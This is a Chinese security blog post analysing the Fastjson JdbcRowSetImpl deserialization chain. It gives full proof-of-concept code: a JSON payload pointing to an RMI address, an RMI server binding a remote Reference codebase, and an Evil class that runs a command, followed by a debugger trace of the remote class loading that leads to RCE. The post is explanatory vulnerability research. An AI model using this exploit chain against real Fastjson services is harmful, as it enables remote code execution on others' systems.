当前位置: 首页 > ops >正文

Fastjson利用链JdbcRowSetImpl分析

首先创建客户端

package com.yq1ng.vul;import com.alibaba.fastjson.JSON;/*** FastJsonTest** @author yq1ng* @date 2021/12/29 19:45* @since 1.0.0*/
public class FastJsonTest {public static void main(String[] args) {String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";JSON.parse(ser);}
}

然后是jndi服务端

package com.yq1ng.vul;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;/*** RMIServer** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Evil", referenceWrapper);System.out.println("Server is running...");}
}

接着是恶意类,注意这个恶意类不能带有包名,也就是package

import java.io.IOException;/*** Evil** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class Evil {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}

然后编译恶意类,并起一个python简单服务,注意python3的启动方式是python -m http.server 8080不再是python -m SimpleHTTPServer 8080

然后启动jndi服务,启动客户端即可

漏洞分析

poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}"; ,从上面的反序列化流程可以知道会去调用指定类,然后调用setter,这里会调用setDataSourceName()setAutoCommit()

deserialze后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()

这里默认的dataSource是空的,所以会设置为我们传入的恶意rmi。接着来到setAutoCommit()

这里conn为空,所以进行获取,这里形参也解释了为什么payload的autoCommittrue。跟进this.connect()

首先初始化上下文,然后开始找传入的rmi类

继续跟

首先看getRootURLContext(),全局查找的话会有四个类去调用

这里会根据不同协议去调用不同的getRootURLContext(),这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()

这里对传入的rmi格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回

继续跟

首先是一个判空,然后去注册中心找Evil,接着在return跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()

这里将构造的Reference赋值给var3,然后跟进NamingManager.java#getObjectInstance()

到这里跟进getObjectFactoryFromReference()

先从本地尝试加载Evil,如果不存在继续往下看

本地不存在的话就会尝试从codebase中加载class

什么是codebase?以下内容摘自:Java-RMI

codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。

跟进helper.loadClass()

这里通过URLClassLoader进行加载类。最后进行实例化,导致rce

http://www.xdnf.cn/news/8463.html

相关文章:

  • 线程的一些基本知识
  • 记共享元素动画导致的内存泄露
  • ABAP,谨慎使用UPDATE更新底表
  • WCS-PZ100V4B15闭环霍尔电流传感器
  • 动态库和静态库详解
  • 推进可解释人工智能迈向类人智能讨论总结分享
  • 【数组的定义数组与内存的关系】
  • 【信息系统项目管理师】第18章:项目绩效域 - 45个经典题目及详解
  • antv/g6 图谱封装配置(二)
  • 七、OpenGL 2.0 可编程着色器实现渲染控制权转移的四大核心机制
  • 使用js 写一个函数 将base64 转换成file
  • linux初识--基础指令
  • 云蝠语音智能体——电话面试中的智能助手
  • 【数据架构07】数据智能架构篇
  • JavaScript数据类型完全指南:从基础到实战
  • 交流电能表基本介绍
  • 《Python语言程序设计》第4章第7题,这次利用之前学过的第7章的内容使用对象和类,来修改这道题
  • 仿真APP助力提升卡车驾驶室驾乘舒适度与安全性
  • 模型压缩,AWQ与GPTQ量化方法分析
  • 【信息系统项目管理师】第20章:高级项目管理 - 28个经典题目及详解
  • 学习日记-day14-5.23
  • Redis淘汰策略
  • vue pinia 独立维护,仓库统一导出
  • 虚拟机Centos7:Cannot find a valid baseurl for repo: base/7/x86_64问题解决
  • Linux 下使用 Sysbench 进行性能测试
  • ConceptAttention:Diffusion Transformers learn highly interpretable features
  • Tailwind css实战,基于Kooboo构建AI对话框页面(一)
  • 纸牌游戏(基于集合,和自定义排序实现)
  • linux_cmake的笔记
  • 从底层原理分析Python 常用字符串拼接方法效率差异